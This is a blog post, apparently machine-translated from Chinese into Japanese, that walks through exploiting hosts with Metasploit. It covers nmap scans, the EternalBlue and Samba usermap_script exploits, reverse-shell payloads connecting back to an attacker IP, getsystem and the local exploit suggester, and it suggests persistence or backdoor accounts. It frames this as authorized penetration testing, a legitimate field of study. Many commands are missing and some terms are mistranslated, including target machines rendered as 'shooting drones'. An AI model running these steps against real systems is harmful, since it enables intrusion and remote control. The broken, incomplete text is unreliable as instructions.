Kali Linux 下使用 Metasploit Framework 进行漏洞利用的完整流程 – Johny_Zhao

Kali Linux 下使用 Metasploit Framework 进行漏洞利用的完整流程 – Johny_Zhao


以下は、段階的な脆弱性悪用プロセス全体の包括的かつ詳細なバージョンです。全体のプロセスは、「認可の準備→情報収集→脆弱性の確認→モジュールとペイロードの選択→パラメータ設定→実行と悪用→セッション管理→侵入後の権限昇格→水平移動の考慮事項→クリーニングとレポート→例→チェックリスト」と展開されます。自己所有の射撃ドローン、地元の認可された射撃場、または書面による許可の範囲内でのみ使用できます。サービスの中断を引き起こす可能性があるため、運用システム上でエクスプロイトを自由に実行しないでください。

0. コアプロセスの概要

MSF の脆弱性の悪用は通常、「単に悪用を実行する」のではなく、標準化されたプロセスです。

授权与环境准备
→ 信息收集
→ 漏洞确认
→ 搜索与选择模块
→ 选择 Payload
→ 配置参数
→ 执行利用
→ 会话管理
→ 后渗透与提权
→ 横向移动/影响评估(受控)
→ 痕迹清理与报告

コアのコマンドラインは次のように要約できます。

search → use → show options → set/setg → show payloads → set payload → check → run/exploit
→ sessions -l → sessions -i → 后渗透

1.1 確認する必要がある前提条件

侵入テストの前に、次のことを確認する必要があります。

  • 書面による許可が得られているまたはテストの範囲を明確にする。

  • Metasploitable、DVWA、VulnHub ドローンなどのローカル ドローンを使用します。

  • カリ攻撃機と標的機のネットワーク通信。

  • レビューとレポートを容易にするために、テスト時間、ターゲット IP、ポート、モジュール、ペイロード、操作コマンドを記録します。

  • テストが禁止されている資産、期間、リスクウィンドウ、緊急連絡先を明確に特定します。

1.2 MSF とデータベースを開始する

Metasploit コンソールを起動します。

使用する必要がある場合 db_nmap、hosts、services 他のデータベース機能については、PostgreSQL データベースと MSF データベースが正常であることを確認することをお勧めします。

service postgresql start
msfdb init
msfconsole

ワークスペース分離プロジェクト レコードは次のように作成できます。

workspace -a 项目名称
workspace

1.3 録音要件

推奨されるレコード:


2.1 一般的なポートおよびサービスのスキャン

まず、従来の方法を使用して、ターゲットによってどのポートとサービスが開かれているかを確認します。

nmap -sV -O -p- <目标IP>

よくある懸念事項:

2.2 MSF での db_nmap の使用

存在する msfconsole 統合された Nmap は直接使用でき、結果は MSF データベースに保存されます。

ホストとサービスのレコードを表示します。

2.3 Web アセットの識別

Web サービスを開くことが目的の場合は、以下と組み合わせることができます。

whatweb <目标URL>
dirsearch -u <目标URL>
nikto -h <目标URL>

CMS、フレームワークのバージョン、ディレクトリ漏洩、デフォルトページ、管理入口、脆弱なパスワード入口などに注意してください。

2.4 情報収集出力

情報を収集した後、予備的な攻撃対象領域のリストを作成する必要があります。

  • ターゲット IP、ホスト名、オペレーティング システム。

  • 開いているポートとサービスのバージョン。

  • Web パスとコンポーネントのバージョン。

  • 考えられる脆弱性の番号または構成の弱点。

  • さらなる確認が必要な脆弱性の候補。


スキャンの結果、「脆弱性がある可能性がある」ということは「悪用可能」という意味ではないことがわかりました。最初に MSF 補助モジュールを使用するか、手動で検証する必要があります。

3.1 例: MS17-010 の検出

msf6 > use auxiliary/scanner/smb/smb_ms17_010
msf6 > set RHOSTS <目标IP>
msf6 > run

肯定的な結果が返された場合は、脆弱性悪用の段階に入ることを検討してください。

3.2 例: CVE の検索

search cve:2017-0144
search ms17-010
search samba usermap_script

3.3 チェックコマンドを使用する

一部のエクスプロイトモジュールでサポートされています checkこれにより、悪用前にターゲットに脆弱性があるかどうかを検出できます。

use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS <目标IP>
check

知らせ:check すべてのモジュールがサポートされているわけではありません。サポートされていない場合は、バージョン、パッチのステータス、および補助スキャンの結果に基づいてのみ判断できます。


4.1 検索モジュール

search ms17-010
search samba usermap_script
search cve:2017-0144

検索結果は次の点に焦点を当てています。

  • 名前:モジュールパス;

  • ランク:評価、優先度 excellent、great;

  • 説明: 適用対象;

  • 開示日: 開示時間。

4.2 一般的なモジュールの種類

4.3 モジュールの選択

use exploit/windows/smb/ms17_010_eternalblue

ロード後、プロンプトは次のように変わります。

msf6 exploit(windows/smb/ms17_010_eternalblue) >

ペイロードによって、攻撃が成功した後にどのような能力が得られるかが決まります。一般的なタイプ:

5.1 Windowsの例

set payload windows/x64/meterpreter/reverse_tcp

5.2 Linux の例

set payload cmd/unix/reverse

5.3 利用可能なペイロードの表示

選択するときは、次の点を考慮する必要があります。

  • ターゲットのオペレーティング システムとアーキテクチャ。

  • 対象を絞った送信/受信ファイアウォール ポリシー。

  • Meterpreter のポストペネトレーション機能が必要かどうか。

  • 安定性と互換性。

  • 認可の範囲内の機能要件。


モジュールに入ったら、まずオプションを確認してください。

共通パラメータ:

6.1 構成例

use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS <目标IP>
set LHOST <攻击机IP>
set LPORT 4444
set payload windows/x64/meterpreter/reverse_tcp

ターゲット ポートがデフォルトでない場合:

表示可能なターゲットの種類:

詳細オプションを参照してください。

攻撃マシンの IP をグローバルに設定する必要がある場合:

setg LHOST <攻击机IP>
setg LPORT 4444

6.2 再確認

必須であることを確認してください yes パラメータが入力されました。


構成が完了したら、次を実行します。

または:

バックグラウンドで実行するには:

攻撃が成功すると、MSF は通常、セッションを確立します。例えば:

7.1 セッションの表示

7.2 セッションへの参加

7.3 セッションのバックグラウンド化

メータープリターの場合:

または:

その後、引き続き他のセッションを管理できます。


最初のセッションを取得したら、影響をさらに評価できますが、それでも許可された制限内にあります。

8.1 Meterpreterの共通操作

getuid
sysinfo
ipconfig
ps
getsystem

例証します:

  • getuid: 現在のユーザーを表示します。

  • sysinfo: システム情報を表示します。

  • ipconfig: ネットワーク構成を表示します。

  • ps: プロセスをリストします。

  • getsystem処置: 権限をSYSTEMに昇格させてみてください。

8.2 システムシェルの取得

ターゲット システムのネイティブ コマンド ラインを入力した後、以下を使用できます。

権限を確認します。入力 exit メータープリターを返します。

8.3 プロセスの移行

ターゲット プログラムの終了時にセッションが中断されないように、Meterpreter を安定したプロセスに移行できます。

たとえば、への移行 explorer.exe 安定化プロセスを待ちます。移行前に PID と権限を確認してください。

8.4 ローカル権限昇格の提案

エクスプロイト後モジュールを使用した後にローカル権限昇格を見つけるための提案:

use post/multi/recon/local_exploit_suggester
set SESSION <会话ID>
run

権限昇格モジュールの候補は出力に基づいて選択されますが、認可スコープ内で検証する必要があります。

8.5 許可の維持

テスト認可の範囲に応じて、次の使用を検討してください。 persistence スクリプトを作成するか、バックドア アカウントを作成してアクセスを維持します。
注: アクセス許可を維持するリスクは高いため、操作は明確に許可され、記録され、テスト後にクリーンアップされる必要があります。


イントラネット環境では、次のことも含まれる場合があります。

  • 横方向の動き。

  • バウチャーコレクション;

  • サービス検出。

  • ドメイン内情報収集。

  • アラームの確認。

ただし、これらの操作にはリスクが高く、次のことを行う必要があります。

  • 明確な承認および変更期間内で実行します。

  • 完全な監査記録を保管します。

  • ビジネスの中断を避けてください。

  • 範囲外の資産には触れないでください。

  • パケットを同期的にキャプチャするか、ログを記録して、レビュー、アラームの検証、防御の強化を行います。


テスト後は、環境を復元し、テスト アカウントをクリーンアップし、テスト ファイルを削除し、レポートを整理する必要があります。クリーンアップ操作も許可された範囲内で実行し、文書化する必要があります。

10.1 コンテンツのクリーンアップ

  • アップロードされたツールとテスト ファイルを削除します。

  • テストアカウントをクリーンアップします。

  • テスト用バックドアを削除します。

  • 認可要件に従ってログと一時構成を処理します。

  • 変更されたサービス構成を復元します。

  • ターゲットシステムの状態が正常に戻ったことを確認します。

10.2 レポートには通常、次のものが含まれます。

  • テスト範囲と認可手順。

  • 対象資産リスト;

  • 発見された脆弱性とリスクレベル。

  • 再現手順とスクリーンショットの証拠。

  • 影響評価。

  • 修復の提案: パッチを適用し、不要なポートを閉じ、サービスのバージョンをアップグレードし、ファイアウォール ポリシーを強化し、最小限の権限、ログの監視を行います。

  • 再検査の結果。

  • 運用記録と監査証拠。


11.1 情報収集

nmap -sV -O -p- <目标IP>

または MSF では次のようになります。

db_nmap -sV <目标IP>
services

11.2 脆弱性の確認

msf6 > use auxiliary/scanner/smb/smb_ms17_010
msf6 > set RHOSTS <目标IP>
msf6 > run

11.3 使用法

msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS <目标IP>
set LHOST <攻击机IP>
set LPORT 4444
set payload windows/x64/meterpreter/reverse_tcp
check
exploit

11.4 成功後の検証

権限とシステム情報を確認します。


12.1 検索と選択

msfconsole
search samba usermap_script
use exploit/multi/samba/usermap_script

12.2 設定と実行

set RHOSTS <目标IP>
set payload cmd/unix/reverse
set LHOST <攻击机IP>
set LPORT 4444
show options
exploit

12.3 成功後の検証

高い権限が取得されているかどうかを確認します。


13.1 MSF コア コマンド

13.2 メータープリタの共通コマンド

getuid
sysinfo
ipconfig
ps
migrate >
getsystem
shell

13.3 浸透後モジュールの例

use post/multi/recon/local_exploit_suggester
set SESSION <会话ID>
run

  • テストは、自分のドローンまたは書面による許可の範囲内でのみ実行できます。

  • 運用システムで無計画に実行しないでください exploitサービスの中断を引き起こす可能性があります。

  • うまく活用しても自由に操作できるわけではなく、侵入後の段階も制御する必要があります。

  • レビュー、アラーム検証、防御強化のために、パケット キャプチャまたはログ記録を同期することをお勧めします。

  • 権限の維持、資格情報の収集、横方向の移動はリスクの高い操作であり、明確に権限を与え、監査記録を保持する必要があります。

  • 洗浄の痕跡は合法かつ準拠している必要があり、操作は許可の範囲内で記録される必要があります。

  • レポートには、修理の提案と再テストの結果が含まれている必要があります。

  • 防御の提案には、パッチの適用、不要なポートの閉鎖、サービス バージョンのアップグレード、ファイアウォール ポリシーの強化、最小権限、ログの監視、アラームの検証が含まれます。


[ ] 已获得书面授权/明确靶场范围
[ ] 已记录目标 IP、端口、时间、操作命令
[ ] 已完成端口与服务扫描
[ ] 已进行漏洞确认,而非直接 exploit
[ ] 已选择合适 exploit 模块与 Payload
[ ] 已检查 show options 并配置 RHOSTS/LHOST/LPORT
[ ] 已执行 check(如模块支持)
[ ] 已执行 exploit/run 并获取会话
[ ] 已用 sessions -l / sessions -i 管理会话
[ ] 已进行受控后渗透与提权验证
[ ] 已记录证据、截图、日志或抓包
[ ] 已清理测试账号/文件/后门并恢复环境
[ ] 已输出报告、影响评估、修复建议与复测结果

上記のプロセスは、「情報収集 → 脆弱性の確認 → モジュールの選択 → パラメータ設定 → 悪用の実行 → 侵入後/権限昇格 → トレースのクリーニングとレポート」という主要な行と、「モジュールの検索 → モジュールの選択 → オプションの表示 → 構成パラメータ → ペイロードの選択 → 悪用の実行 → セッション管理」という MSF の操作詳細を組み合わせたもので、Kali Linux 認定範囲環境での MSF 脆弱性悪用テストの完全な参照プロセスとして使用できます。



Source link

Leave a Reply

Your email address will not be published. Required fields are marked *